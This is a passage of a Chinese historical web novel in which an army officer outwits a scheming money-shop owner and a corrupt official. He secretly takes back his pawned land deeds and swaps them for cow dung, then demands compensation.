“军爷,莫不是拿小的耍笑吧?”
伙计霎时收敛了笑意,一脸严肃地翻看着匣子中满满的地契。
“谁他娘的跟你耍笑?”
马成眼睛一瞪,又骂道:“有那闲工夫,老子去前面的千香楼找窑姐儿耍笑去,要不是兵士们闹着要饷银,千户大人怕出乱子,这才亲自赶来办理银子的事。”
“多嘴!”
叶十三狠瞪马成一眼,然后目光转向别处,由马成继续和伙计交涉。
“千户大人!”
伙计转过头来,目光直接看向叶十三,道:“田产地契倒是能当,但三天的期档,要是到时候还不了银子,按规矩抵押物那就归本钱庄了?”
“少废话,快拿银子来,本千户等着急用。”
叶十三就像个不懂行的白痴,伸手就向伙计要银子。
见叶十三连押当借钱的流程都不懂,伙计眼里顿时闪过一丝惊讶。
稳稳神后,伙计又道:“小的斗胆,敢问千户大人需要押多少银子?”
这时,马成抢着说道:“两千亩肥田的地契,一亩当五两,两千亩就是一万两银子。”
伙计一怔,这个价倒是不高。
就在这时候,前面去提茶壶的伙计,正在隔间的门帘后面竖起耳朵偷听。
“这个……”
伙计笑了,拱手说道:“千户大人稍安勿躁,如此之多的押贷,小的还是去请掌柜的过来。”
说完,伙计慢悠悠进了隔间,向提着茶壶的伙计使了个眼色,然后撒腿就从一道门飞奔而去……
“让二位军爷久等了!”
一脸堆笑的另一名伙计从隔间出来,麻利地给叶十三和马成斟茶。
“听说二位军爷押贷数额巨大,小的们还真做不了主,得等掌柜的亲自接待二位军爷。”
伙计一脸堆笑,不断添茶倒水。
第63章 四通钱庄借银子
与此同时,另一间房中。
“掌柜,来大生意了!”
伙计一脸兴奋,隔着套间的帘子,向里面的人禀报。
“混账!”
帘子里面,怒不可遏地骂道:“最近边城不稳,客商大多宅家不出,何来大生意上门?”
伙计一脸焦急,就地转着圈又道:“是叶十三那个不长眼的,说是手下驻军为讨饷银闹事,拿何家的那些田产地契来抵押借银子。”
“什么?”
帘子突然被从里面挑起,迎面出来的钱庄掌柜贾迎福,顺手就给了伙计一巴掌。
“混账,既然是叶十三那狗东西自投罗网,为何不及时告知?”
掌柜骂骂咧咧,然后又返回帘子里面去穿鞋。
“小的这不是来禀报了吗?”
伙计一脸委屈,捂着被抽了一巴掌的半边脸。
帘子又被从里面挑起,和贾迎福一起出来的,是一位身穿狐皮袄子,身材圆滚滚的窑姐儿。
“下次可别这么猴急,把人的心都吊嗓眼上了,你却没了后劲。”
窑姐儿一扬手中的帕子,剜了一眼呆立在外面的伙计,“噗嗤”一笑就掩着嘴巴从后门离开。
“说,到底是何回事?”
掌柜贾迎福一手系着腰带,一手提着鞋跟,急忙又道:“真是叶十三那狗东西来了?”
伙计诺诺点头,把方才之事,仔细向贾迎福描述了一遍。
“好啊!”
贾迎福双手一拍,咬牙道:“自投罗网,今天就别怪老子手黑。”
说完,目光一瞥伙计,招手让伙计凑到近前,这又说道:“快去禀报大人,就说我……”待伙计匆匆离开,贾迎福这才踱着方步,背着手来到钱庄柜上。
“小的贾迎福,是四通钱庄掌柜,见过千户叶大人!”
贾迎福一打照面,躬身拱手,像模像样地给叶十三施了一礼。
“什么四通五通的?”
叶十三一脸焦急,催促道:“本千户要的是银子,没功夫和你磨蹭。”
“大人稍安勿躁!”
贾迎福倒是不急,一捋自己下巴上的几根鼠须,把脸转向一旁奉茶的伙计,缓缓说道:“茶都凉了,还不快去换一壶热的?”
“是,是,小的这就去再烧一壶。”
伙计诚惶诚恐,心领神会地抓起桌上的茶壶,转身走向隔间的门。
“老东西,快拿银子,老子还有事,千户大人军务更是繁忙,你别在这里给老子磨蹭。”
马成暴跳如雷,指着贾迎福的鼻子破口大骂。
贾迎福却是不以为然,正眼瞧都没瞧马成一眼,而是把目光看向叶十三,道:“行有行规,小的这钱庄,也不例外,这押贷银子,那可是带利息的,银子好说,别说一万两,就是两万两银子,咱也不能让千户大人为难。”
说完,盯着叶十三的眼睛片刻,贾迎福又道:“要不这样,二千亩地契田产,押贷一万两银子是不多,今天千户大人既然手头不宽裕,小的也慷慨一回,欠饷真不是什么好事,眼下边城不宁,这驻军要是由此哗变,那后果真不堪设想,只是千户大人限定三天赎当,小的这可要提前告知千户大人了,若是逾期不赎,那就是死当了。”
贾迎福的一双眼睛,死死盯着叶十三,就看他如何反应。
“啪!”
不料,叶十三一拍桌子,站起来说道:“本千户先押贷,拿到银票就去军部催要军饷,三天时间,军部会准备好本千户的请求,到时候,本千户亲自来赎当。”
“大人可真想好了?”
贾迎福又是一句。
“少啰嗦,还不赶快签押贷文书?”
马成又急躁起来,恶狠狠地盯着贾迎福。
“好!”
贾迎福直起腰来,让伙计拿来文房四宝,即刻写好了质押条款,着重写明了借贷期限,然后盖上四通钱庄的印鉴,而且自己也摁了手印。
“千户大人,请过目!”
贾迎福把质押文书,往叶十三眼前一推,又道:“大人如无意见,就请签名落手印吧!”
“且慢!”
叶十三目光一瞥质押文书,缓缓说道:“押贷之约,是对双方都有约束,要是逾期,本千户自当放弃日后赎当。”
说完,叶十三目光投向贾迎福脸上,沉声又道:“那么,要是贵钱庄弄丢了本千户的田产地契,那该如何是好?”
这一问,霎时让贾迎福面颊一抽。
没错!
质押文书,应当写明双方义务,而非只是一昧地要求对方该如何!
马成上前一步,拿起桌上的质押文书扫了一眼,怒道:“押贷银子,只是你说条件,那么,要是弄丢了这地契,按行情价,肥田一亩可值二十两银子,这两千亩肥田啊!最少也值四万两银子,按照行规,钱庄弄丢质押物,当期之内交不出所押,理应双倍赔偿押贷方。”
“抱歉,实在抱歉!”
贾迎福老脸一红,拱手急道:“小的见千户大人如此着急,这不,急大人所急,这才把这规矩给忘了,忘了!”
说完,贾迎福撕了方才所写,拿过纸张,重新写了一份,紧接着签名落印。
不过,这次贾迎福把约定的一万两当银,写成了两万两,笑道:“千户大人,这一万两怕是不够,小的急大人所急,想大人所想,多备一万两,以备不需之用。”
“不错!”
叶十三笑了,点点头道:“都说开钱庄当铺的,都是刮骨喝血的主,你贾掌柜就是我叶某人的菩萨,看来,这传言有虚啊!”
“那是,那是!”
被恭维了一番的贾迎福,点头哈腰笑道:“还是千户大人明鉴,外边传言,那是对钱庄当铺有偏见,有偏见,所以以讹传讹不可取也!”
此时,伙计拿来银票,和马成当面清点交换。
叶十三也在质押文书上签名落印,然后文书各拿一份,这才拱手告别。
待叶十三和马成走得不见踪影,贾迎福摸着装有地契的硬木箱子“哈哈”大笑道:“周大人正找不到收拾你的机会呢,你可是主动送上门来了,三天时间,你狗东西要是能从军部拿出来一两纹银,老子跟你狗东西姓。”
“嘿嘿!”
一旁伙计也是一阵得意,笑道:“武夫就是武夫,脑子里装的都是屎,他也不想想,军部的银子,岂是他张口要,闭口就能到的?”
贾迎福点点头,把箱子往伙计手里一送,道:“放好了,三天后,这两千亩肥田,就归周大人了。”
“还是掌柜的您高明!”
伙计接过箱子抱在怀里,继续恭维道:“多借他一万两银子,这狗东西还高兴得不得了,这花钱出去很快,但还钱,两万两银子加上三分利息,嘿嘿……”
第64章 三天后,看谁弄死谁?
出了钱庄,直奔一家馆子。
“大人,不去军部了?”
马成一头雾水,不解地望向叶十三。
叶十三摆摆手,道:“要四只烤羊腿,两碗干饭,一盆山菌汤,二十个大馒头,吃饱肚子回营房。”
此言一出,马成犹如雷击呆立在地。
背着两万两银子的债呢?
不去军部催饷银,三天期限,到时候拿什么还赎当?
那可是两千亩肥田的地契啊!
“聋啦?”
叶十三目光一瞥傻呆呆的马成,又从怀里银票中,抽出一张一百两的银票,递向马成道:“快去点菜,除了干饭和山菌汤,羊腿和馒头,一半吃,一半带回去,饭资让柜上找现银,最好是碎银。”
无奈之下,马成只有苦哈哈地去柜上付饭资兑换碎银。
……
与此同时,镇上官衙。
伙计来到一间静室,向副万户周敬堂禀报了一番。
“哈哈哈……”
吃得脑满肠肥的周敬堂,晃着一颗大脑袋笑道:“天意啊!没想到你居然主动送上门来,何家的家产,就是那么好拿的?”
“狗东西,你也不怕烫手?”
周敬堂又怒骂一句,然后摆摆手,挥退了前来报信的钱庄伙计。
待伙计离开,候在门外的师爷进得静室,道:“大人,看来这叶十三也不过如此,那些兵卒一闹事,他就按不住了。”
“莽夫,毕竟是莽夫一个!”
周敬堂摇摇头,又道:“这种人,也就是战场上厮杀的命,空有一身蛮力而已,论智谋,还比不上三岁小儿,别说是贾掌柜出马,就是四通钱庄随便拉出来一个看门扫地的伙计,都能把他玩得团团转,拿银子,就他一个奴籍,有那享福的命吗?”
师爷思忖片刻,又道:“如今军部几位大人,极力包庇叶十三,就怕军部会应了他的要求,在三天内拨款给他。”
“不可能!”
周敬堂又是一阵摇头,继续说道:“军部是缺领兵打仗敢和鞑子死磕的将才,但那几位大人,得向户部要了军饷才能兑付叶十三那边的欠饷,就是几位大人力挺叶十三,朝中也有人支持几位大人,但这一来二去,能拨下来银子,没有个把月的时间,那是万万不能的。”
“哪……”
师爷还是不太放心,又道:“万一三天之后叶十三赎不起当,又想要回那些田产,军部出面和大人您斡旋,那该如何是好?”
“哼!”
周敬堂冷哼一声,咬牙道:“一码归一码,白纸黑字,印鉴手印一样不少,再说叶十三杀刘正尧夺抄没粮,这事本身军部理亏,到现在军部的大人们还在本万户面前打哈哈装糊涂,到了三天后,那些大人再是力挺叶十三,却没脸来斡旋调解这事,要赎当,就拿两万两银子和利息出来,否则免谈,我周敬堂这次吃定他叶十三了。”
说完,周敬堂摆摆手,道:“今儿本大人高兴,去,让下面人把饲养的鹿宰上一头,我要喝一碗新鲜鹿血,好让新纳的小妾也乐呵乐呵!”
“是!”
师爷应了一声,然后躬身退下……
天黑之前,叶十三已经到了辖区地界。
在一个分叉路口,叶十三对马成说道:“你先去一趟何家大院,把那两根烤羊腿和十个大馒头送去给我娘,然后连夜回来。”
马成走后,叶十三独自催马回到营房,刚好吴六子也训练归来。
和上次一样,吴六子进屋,顺手关门。
“这是钥匙,你可拿好了!”
装着地契的箱子,是已经抵押给了四通钱庄,但钥匙叶十三随身带着。
“嗯!”
吴六子心领神会地点点头,再没有任何的只言片语,打开屋门出去,从伙房摸了两个黑面饽饽揣进怀里,然后跨上马背就消失在夜色中。
叶十三去了一趟烽火台,从上到下打着火把仔细检查一番。
“不错!”
叶十三把目光投向丁威,道:“最近鞑子吃亏不少,报复是肯定的了,千万不可大意,轮值期间,当班的不可偷懒睡觉,当休的不可目无军纪四处乱跑,还要做好辅助事宜。”
“大人请放心,小的心中有数”
丁威点点头,一脸刚毅。
临走,叶十三又道:“好好带带叶腊八,不能因为他是我的堂兄就懈怠值守,该严厉的地方还得严厉。”
离开烽火台后,步行走回营房的叶十三放慢了脚步,望着漫天星斗笑了。
“多给一万两银子?”
“想让老子还钱更加吃力?”
“呵呵!”
“真当老子是有勇无谋的武夫?”
“做你娘的大头梦去吧!”
“三天期限,到时候,看谁弄死谁?”
“给老子下套,就你们这些鸟人,还真高抬自己了!”
叶十三自言自语,边走边骂。
待到一处平坦地带,望了一眼不远处亮着灯光的营房,索性停了下来。
“仓啷!”
叶十三抽出了刀,映着点点星光,道:“此刀,今后遇神斩神,见鬼杀鬼,谁挡老子的道,老子就砍死他!”
“九幽刀法,落星如瀑……”
随着一声轻喝,叶十三手中的刀幻出一片星瀑,刀风卷起无数沙粒,在自己周围形成了一道环形屏障……
第65章 吴六子得手了
天亮时,叶十三才回到营房。
他练刀练了一夜,半夜回到营房中的马成,对此还浑然不知。
“大人,您这么早就出去了?”
马成见到叶十三从营门口进来,端着刚点燃的牛粪火盆正准备给叶十三的屋里送。
“火烧旺了?”
叶十三答非所问,望着火盆中燃烧正旺的牛粪,又道:“拿几个山药蛋来,烤熟了要比煮熟的好吃一点。”
练了一整夜的刀,他累了,也饿了。
他昨晚要是不练刀消磨时间,那是会彻夜难眠的,那件事成败难料让他担忧。
“大人,伙房有给您专做的面饼,给您烧茶吃的。”
马成放下火盆,抬头望向叶十三。
吃粮再是紧张,节约用度不假,但也不至于少了堂堂千户大人的一口吃的。
“行了,随便吧!”
叶十三扬扬手,就在火盆旁边的椅子上半躺了下来。
马成刚一出屋子去拿面饼,又看到吴六子风尘仆仆,骑着马一溜烟进了营门。
“这么早巡防,怎么没带其他人?”
马成嘀咕着,就去了伙房。
进了营门的吴六子,马都没拴,一溜烟就进了叶十三的屋子。
和上次一样,进屋后先关门。
“大人,成了。”
吴六子上前,从怀里拿出一叠地契,连同一把钥匙一起放在桌上,又道:“全在这里,您点点。”
“不用了。”
叶十三几乎是从椅子上蹦了起来,抓起桌上吴六子放下的地契和钥匙,一股脑儿塞进怀里,这才说道:“坐,先垫些肚子,然后去补一觉,今天给你放假一天。”
说着,叶十三又摸出一把碎银,道:“拿着,赏你的。”
看着那一把足有二十两左右的碎银,吴六子顿时眼放绿光,讪讪笑道:“大人不必客气,都是小的分内之事。”
“叫你拿着你就拿着,哪来如此多的废话?”
说完,叶十三冷声又道:“此事,绝密,天知地知,仅你我二人知。”
“嗯!”
吴六子点点头,然后收起银子揣进怀里,躬身一礼后退了出去。
待到了隔壁屋子,已经洗漱完了的十个骑兵,齐齐把目光投向一夜未归的吴六子。
“吴什长,您这是去哪儿了?”
“哦!千户大人派我夜间巡查,看看辖区那些烽火台偷懒没有?人多了扎眼,属于暗访。”
“也是,烽火台就是靠烽火狼烟来传递信息,烽燧兵夜里偷懒睡觉,那可是常见的事了。”
“屁话!没有紧急情况出现,谁敢贸然点燧燃烽?警讯又不是时时发生。”
瞥了一眼争论不休的兵士们,吴六子打了个哈欠,愠色道:“嚷嚷个屁,还不赶快吃早饭,完了去校场训练!”
吴六子一发怒,十个骑兵探马都不再嚷嚷,争先恐后去伙房拿吃的。
马成拿了面饼过来,放在火盆边缘烤着,道:“大人,您真给大伙发饷钱?”
“发什么饷钱?”
叶十三一怔,随即又道:“眼下又不欠弟兄们饷钱,就是下月的,也是由军部调拨,我只是想过一把有钱人的瘾,尝尝手里有钱的滋味。”
“啊……”
这下,就让马成搞不懂了。
不发饷钱?
那么费如此的心思,去镇上四通钱庄押贷干什么?
两万两银子,三天的利息,差不多都六十两了。
这叶十三不会是疯了吧?
马成揣着一肚子疑问,就是不敢明着问叶十三。
“对了!”
叶十三拿起一块面饼啃着,又道:“分给你的那五十两赏银,暂且借我用两天。”
“啊……”
马成又是一惊。
这叶十三手中已经有了近两万两银票,就是过把瘾,那样足够的了。
现在有要借他的那五十两赏银。
“大人,您真借小的那点赏银?”
“嗯!”
叶十三点点头,道:“就借两天还你,银票是有了,但还缺现银,这银票和现银一起握着,当有钱人的感觉真好。”
此言一出,马成的脸都绿了。
这叶十三杀敌凶悍无比可是不假,但这脑子,是不是缺点什么?
打着发军饷给兵士们的借口,拿整整两千亩良田的地契去钱庄押贷,目的就是怀里揣着银票,感受一下有钱的感觉。
没病吧?
这两万两的银票还不够,又要借他这个下属的现银。
想到这里,马成陡然被惊出了一身冷汗。
败家子,活脱脱一个败家子。
好不容易把何家给计算了,弄来那么多的粮食和田产,这万一搞不好,忍不住大手大脚的花钱过一把瘾,三天期限啊?到时候还不上四通钱庄的高利贷?
那么,这费尽心思得来的两千亩良田,不就转了个圈又回到那些人手中去了吗?
这个败家子!
算了,看来天生穷命,叫花子存不住隔夜的食,活该他叶十三受穷。
“要是大人需要,小的这就去给大人您拿银子。”
马成肚里早已骂开了锅,但嘴上还是答应了叶十三借钱的要求。
一脸惜疼地出了屋子去拿钱,幸亏这几天忙得脚后跟直打后脑勺,昨夜回家,也忘了把银子留给家里。
等马成拿了银子,心疼得就像割肉般地把银子放桌上的时候,叶十三抓起银子揣进怀里,笑道:“过两天就有钱还你了,老子再给你十两银子的利息,如何?”
没疯吧?
看来这叶十三真疯了?
四通钱庄的高利贷,两万两银子三天的利息六十两银子。
这借给叶十三五十两银子,两天就能拿到十两银子的利息?
这利息!
真他娘的比四通钱庄的高利贷还要狠上百倍。
“大人,利息就算了,到时候,您别忘了给小的还本。”
马成哭笑不得,苦哈哈望着叶十三那张令人琢磨不透的脸。
万一叶十三赖账,他能有何办法?
再说,那些赏银本身就是叶十三挣来的,只是把功劳报成了集体。
马成只有在心里求菩萨保佑,保佑叶十三到时候不要赖账。
“行了!”
叶十三一瞥马成那张阴晴不定的脸,扬手道:“还不快去吃早饭?要是晚上一步,锅里渣都没了。”
吃饭最重要了,人活着不就是为了吃饭吗?
入伍当兵,不也就是奔着吃一份粮饷的吗?
一想到这,马成顾不得再想那些银子,撒腿就往伙房跑。
要是慢了,吴六子的那些人可不会给别人留饭。
这年月,女人都可以让,饭食绝对不能让给别人。
拿命来比,女人的节操就是个屁!
马成忙不迭更的出了屋子,撒腿就直奔伙房。
叶十三独自坐在牛粪火盆旁边,一按怀里囊鼓鼓的田契,嘴角扬起一丝诡异的笑来……
三天期限,眨眼就到。
按照约定,今天该到去镇上四通钱庄赎当的时候了。
第66章 这哪像是还钱?倒像是讨债
天刚蒙蒙亮,伙房就煮好了早饭。
糙米干饭,杂粮窝头,晒干后的野菜烧汤不限量。
“都放开肚子吃饱了,别到时候摆带拉胯。”
吴六子在营房向十名骑兵训话,完全是一副如临大敌的架势。
营房的另一间屋子,马成早已伺候叶十三吃完了早饭。
“到时候了,出发!”
叶十三站了起来,顺手拿过马鞭,一指桌上放着的一只包裹又道:“捆扎结实,可别让路上丢了。”
“大人放心,就是舍了小的一条命,也不能把这银票给丢了。”
马成心头一凛,重新检查了一遍包裹。
银票倒是好办,就是那十锭雪花银,却不得不装在包裹里才妥当,不然,光是银票就直接揣怀里了。
等出了屋子,叶举已经喂过战马。
吴六子率先翻身上马,十名骑兵探马威风凛凛,一脸杀气一字排开。
叶十三扫了一眼十名骑兵探马,不禁微微颔首。
这十人,眼下的精气神来看,简直和前几天在鹞子岭驻军大营见到的截然不同。
前几天的他们,脸上只有菜色。
而现在,却是一个个杀神模样。
这一切,得归功于郑一刀。
他们的眸子里,透着一种坚定不移的决心。
几天的饱饭,加上对未来的向往,被步战教头郑一刀训练得一个个杀气腾腾。
“目标通天驿镇四通钱庄,即刻开拔!”
叶十三笑了,大吼一声,率先催马扬鞭,冲出营院的栅栏门。
这哪是去赎当啊!
这架势,倒像是去四通钱庄讨债!
马成背着包裹,马鞭一扬两脚一夹马肚,即刻赶了上去落后叶十三半个马身跟着。
离马成身后一马距离,又是吴六子带着的十名骑兵探马。
一行十三人革甲整齐,佩刀高悬,就连胯下的战马,步调都是一致。
震耳欲聋的马蹄声,霎时就扬起漫天的烟尘。
在大地的震动中,一队人马转眼间就拐上了去镇里的官道。
此时,天还没有完全大亮。
“大人,用不了一个时辰,我们就能到达通天驿镇。”
多少有些心虚的马成,没话找话的说了一句。
“那好,我们可以吃上镇里馆子煮的头锅羊肉了。”
叶十三一笑,笑得有些诡异。
马成一怔,随即接着话茬又说道:“头锅羊肉好啊!这头锅羊肉汤肥调料足,没掺过水的。”
“今天,我请哥几个吃个够,好让那些开馆子的看看你们吃肉的气势。”
吃肉的架势还没见着,但叶十三说话的气势,那可是生吞活羊的架势。
“禀大人,小的一顿能吃三斤肥羊肉。”
“三斤的肉两,也不嫌丢人,敢在大人面前吹牛!”
“我能吃五斤,还要喝两大碗一口吹不开浮油的肉汤。”
“大人,小的不爱吃瘦肉,瘦肉塞牙,还是肥膘爽快,吸上一口,啧啧,那个味道……”“大人,要小的说啊!这羊肉还是肥瘦适中了好,一口羊肉一口蒜,给个县官都不换……”
呵呵!
这鸟人,想必是不知道县官老爷不缺羊肉吃。
“哈哈哈……看你小子那德行,就是没吃过羊肉的主……”
“……”
探马们开始吹牛,一个个展示着自己的肉量和吃法。
就像一张弓一样,身子伏在马背上和马头平行的吴六子,直起腰来骂道:“都闭嘴,一个个饭桶样,在千户大人面前如此喧哗成何体统?”
吴六子的这一声吼,探马们都专注骑马赶路,一个个都闭上嘴巴,眼睛紧盯着前方。
“能吃就好,我今天让你们吃个香,吃个够!”
叶十三倒是不计较探马们耍笑的话,承诺让他们今天过足了肉瘾。
别说这些驻军了,就叶十三自己,肚里的馋虫已经开始闹腾。
不多时候,通天驿镇到了。
进入镇街后,就在离镇上十字路口不远时,吴六子转过头来,向身后的十名骑兵探马沉声说道:“到了地方,谁要是找千户大人的麻烦,我们该如何是好?”
“杀!”
十名骑兵探马,霎时眼里寒芒一闪,齐声应答。
“明白就好,都机灵着点。”
说完,吴六子催马赶前几步,在另一侧落后叶十三半个马身跟着。
叶十三侧脸一瞥吴六子,吴六子会意地点了点头。
“到了,下马。”
马成率先下马,然后拉住叶十三的马缰,扶叶十三从马背上下来。
一十三匹战马,在四通钱庄的门口排成一排,引得早起的闲人,霎时就围了过来看热闹。
这时候,钱庄的掌柜贾迎福,在两名伙计左右陪同下,急匆匆出门迎接。
“这么早啊千户大人?”
贾迎福满脸堆笑,放开了提着袍子下摆的两只手,在胸前一拱,又道:“小的就知道,千户大人是个守信的人。”
“都准备好了?”
叶十三似笑非笑,目光看向笑里藏刀的贾迎福。
“哦!”
贾迎福一怔,随即又欢笑道:“这等大事,小的怎敢怠慢?”等进的钱庄里面,叶十三却发现,在柜口两侧还站着四个兵卒。
不用说,这是衙门的兵卒。
四个兵卒的目光,和叶十三隔空相撞片刻,一个个都低下头来。
他们从叶十三的眸子里,看到了一股爆棚的杀气。
“上茶!”
贾迎转头向伙计喊了一嗓子,然后满脸堆笑地望向叶十三,道:“千户大人从军部要下军饷了?”
叶十三没有正面回答贾迎福的问话,把身子往椅背上一靠,瞥了一眼身边站着的马成,缓缓说道:“三天前在此办理押贷,都快接近午时了,本千户怕贾掌柜等急了,故而早了一个时辰赶着来赎当!”
赎当?
贾迎福面颊一阵急抽,极力地稳了稳神,道:“千户大人真是守时啊!都是自家人,迟个一时半会的,也不算事。”
“废话少说,快把地契拿来。”
马成从背上解下包裹放在桌上,道:“三日期限,还早了一个时辰,银子就在这里,你点仔细了。”
心头陡然一惊的贾迎福,眼珠子骨碌碌一转,收起笑脸说道:“咱人情归人情,但买卖归买卖,钱庄当物的规矩,那是有利息的,三分息,千户大人可算进去了么?”
“屁话!”
马成拉下脸来,吼道:“千户大人早准备好了,六十两银子的利息一毫都不少,现银,睁大你的狗眼看看?”
现银?
贾迎福心头一震,伸手一扒拉桌上的包裹,一摞银票旁边,还放着一十六锭白花花的银子。
“这……”
贾迎福浑身一哆嗦,差点就一头栽倒在地。
第67章 地契变牛粪
“点数吧!贾掌柜。”
叶十三稳如老狗,望着贾迎福吃了屎一样的表情,缓缓开口。
“银票一万九千九百两,现银一百六十两,连本带利这数没错吧?”
脸都绿了的贾迎福,哆嗦着两只手,数了好大一会,这才把桌上的银票数清楚。
加上现银,两万零六十两。
一旁紧盯着贾迎福的马成,霎时也愣了。
明明他借给叶十三十锭银子,是没这么多的,按理说,三天前在镇上吃饭时兑换掉了一张百两银票,应该是一万九千九百两银票,就是加上他的现银,最多那也是两万两整。
可眼前的桌上,银票数量没错,但银锭却是一十六个,也就是说,现银的数量是一百六十两。
他不知道,叶十三把丁威和其他人的那份赏银,也都给借了过来。
要不然,他给郑一刀家用的五十两银子从何而来。
其实,那五十两银子,等于是变相的给了何秀儿一份嫁妆。
破了人家的生瓜,应该给。
对于何秀儿,叶十三有一种说不出的感觉,他只想让何秀儿跟着郑一刀过日子时少受点苦。
“数清楚了?”
叶十三淡淡一问。
“清楚了,一分一毫都不差。”
面如死灰的贾迎福,神情沮丧地一答。
马成眼睛一瞪,吼道:“那还不把质押的田产地契赶快拿过来?”
“是,是!”
贾迎福面颊又是一抽,瓮声向柜上的伙计道:“拿千户大人的质押物来。”
片刻后,柜上的伙计从里间小心翼翼地捧着那只硬木匣子出来,款款放在桌上的银子旁边。
“千户大人请!”
神情僵硬的贾迎福,让叶十三当面查验银票。
“你没做手脚吧?”
叶十三从怀里摸出钥匙,随口就是一问。
贾迎福面色微变,道:“行有行规,本钱庄不是一天两天开门做买卖了,这些信誉还是有的,倒是大人您,未免有些小家子气了!”
“放肆!”
马成差点一个巴掌就甩过去,怒道:“当物还钱,问个明白而已,如何就小家子气了?”
“呵呵!”
贾迎福阴阴一笑,摇头道:“三天前千户大人说是驻军闹着要饷银,怕拖欠久了出乱子,这才开了金口来求柜上,小的也是本着解千户大人的燃眉之急,这才慷慨做当,不曾想到,这些银票,千户大人又原封不动地给还了回来,这就令小的费解了。”
“开门做买卖,你挣你的利钱就是,管老子拿钱去作何用途?”
说完,叶十三没有急着开匣验货,慢条斯理地又说道:“说了还请贾掌柜莫要笑话,老子是穷怕了,突然想着有一大笔银子揣兜里,体验一下有钱人的滋味,这不,就拿田产地契当些银子,过了三天富人的隐嘛!”
“你还别说,这有钱的感觉,还真他娘的好!”
叶十三又补了一句。
在贾迎福的目瞪口呆中,叶十三拿钥匙,缓缓打开了匣子上的锁。
就在取下锁头,掀开匣子上盖的一刹那,在场盯着匣子的所有人,就像被雷击了一样,当场僵硬。
“贾掌柜,这是几个意思?”
叶十三指着掀开了盖子的硬木匣子,向当场石化的贾迎福投去愤怒的一瞥。
只见匣子中,一坨干透了的牛粪,映入所有人的眼帘。
“这……这……”
开始语无伦次的贾迎福,面颊急剧地抽搐起来。
“这……”
“这什么这?”
暴跳起来的马成,一把就攥着贾迎福的领子,把贾迎福提得双脚离了地面。
“千户大人的地契呢?你给老子说清楚?”
豹眼圆睁的马成,就差拿刀活剥贾迎福的皮了。
看到马成动手,柜前的四个兵卒,呼啦啦就围了上来。
“放开,快放开贾掌柜!”
“去你娘的!”
兵卒的话刚落,离马成最近的一个兵卒,就被马成一脚踹飞出去后仰面八叉的摔在地上。
“大胆,你们还敢打人?”
剩下的三名兵卒,顿时向后一退,但嘴里还是虚张声势喊个不停。
叶十三缓缓站了起来,向前走了一步,背着手说道:“贾掌柜这是要耍赖了?”
“不……不……”
被马成攥着衣领提离了地面的贾迎福,颤声又道:“这里面定有误会,容小的查一查,还请千户大人给小的一点时间。”
“好!”
叶十三仰起头来,向马成摆摆手,道:“那就给贾掌柜一点时间,不过,老子军务繁忙,不会等太久。”
“扑通!”
马成手一松,贾迎春一个站立不稳,一屁股就坐在地上。
来不及爬起来的他,向着四个兵卒喊道:“把伙计拿下,赶快禀报周大人。”
两名已经被吓得魂飞魄散的伙计,被两个兵卒用刀按住肩膀在墙根蹲了,另外一个兵卒,撒腿就向衙门飞奔而去。
叶十三就像没事人一样,在桌旁又坐了下来,端起伙计刚斟的茶水,左右摇着脑袋,轻轻地吹着茶汤上面的浮沫。
一旁的马成,右手一直按在佩刀的刀柄上,一动不动地紧盯着面如死灰的贾迎福。
钱庄里,顿时陷入一片死寂,安静得能听到人的心跳。
不一刻,外面一阵骚动。
一脸黑线上头的周敬堂,在一群兵士的拥簇下,急匆匆走了进来。
上下打量一番,周敬堂眼睛一翻,突然开口道:“你,就是叶十三了?”
“正是!”
叶十三头都没抬,专心致志地在吹着茶汤上面的浮沫。
“大胆,见了副万户周大人,你一个小小的下千户为何不跪?”
一声暴喝,从周敬堂身后传来。
一名兵士,手中佩刀指着叶十三,虎视眈眈地逼进一步。
“退后!”
马成也暴喝一声,“仓啷”一下抽出佩刀拦在桌前,面对眼前的近二十名衙门兵士,厉声斥道:“既然你们是镇上衙门的人,不为边城驻军主持公道也就罢了,难道这是要和奸商沆瀣一气讹千户大人的田产地契不成?”
“退下!”
周敬堂摆摆手,挥退身后冲上来的兵士,半眯着眼睛又道:“我想,这里边一定是有误会,还请叶千户稍等片刻。”
说完,周敬堂在桌旁坐了下来,随即向身后一扬手。
蹲在墙角的两个伙计,立刻就被之前的兵士押在桌前跪了。
“说吧!别等本官动刑。”
周敬堂眼皮都没抬,冷冷就是一句。
“大人明鉴,小的冤枉啊!”
一个伙计抬起头来,嚎叫道:“地契是贾掌柜亲自点数,小的只是按柜上的规定,把抵押物尽数存放而已。”
“放屁!”
一旁低头站着的贾迎福,气急败坏地跳了起来,指着伙计的鼻尖吼道:“我亲自点数,亲自锁上匣子,然后按规定把钥匙交给客户,怎的这短短三天时间,匣子中的抵押地契却不翼而飞?”
这时候,叶十三浅尝一口茶水,淡淡说道:“听见了吧!周大人可要为小的做主啊!”
周敬堂并没有理睬叶十三,抬起头来望向贾迎福,冷声道:“本钱庄自开业以来,还没出过这等胆大包天的事,这种偷梁换柱的勾当,居然发生在四通钱庄?”
何谓四通?
那就是通天、通地、通神、通官。
贾迎福浑身一阵哆嗦,“扑通”一声就跪了。
“大人明鉴啊!就是借小的一百个胆子,小的也不敢如此作假啊。”
“一定是他们,是他们……”
也许是害怕极了,贾迎福一只手,把眼前的人挨个乱指了一遍。
“好啊!都不说?”
周敬堂脸上突然色变,厉吼道:“来人,给我打!”
第68章 这一刻,他后悔了
霎时,如狼似虎的兵士们一拥而上。
“啪啪啪……”
被摁倒在地的贾迎福,包括两个伙计,被兵士们抡圆了的军棍,狠狠地打在后背和屁股上。
“啊……”
“饶命啊大人……”
“大人,小的……冤枉啊……”惨叫声,求饶声,顿时就响成一片。
叶十三低着头只顾喝茶,仿佛眼前的这一幕,和他毫无关系。
周敬堂偷瞥叶十三一眼,一扬手,杖刑停了下来。
“大人,小的什么都不知道啊!”
鼻涕眼泪齐下的贾迎福,嚎叫着为自己辩解。
另外两个伙计,也趴在地上惨嚎不已。
“大人,小的冤枉啊……”
“柜子都是小的亲手锁的,也不曾有人进入质押物存放的地库,大人啊!小的真什么都不知道……”
在三人的辩解和惨叫声中,周敬堂的额头,已经慢慢见汗。
“叶千户!”
周敬堂缓缓转身,向叶十三拱手一礼,讪笑道:“无论如何,都是本钱庄的过错,不就是些地契嘛!田亩就在那里放着,谁也搬不走,自然还是归叶千户处置,至于这利息嘛!依本官看,免了,只就收本金好了。”
“哦!”
叶十三放下茶碗,缓缓抬头,淡淡说道:“弄没了我两千亩的田产地契,周大人一句利息免了就完事了?”
“可不!”
周敬堂面颊一抽,随即皮笑肉不笑地说道:“反正,还不是那么回事吗?你又没少一两银子的损失。”
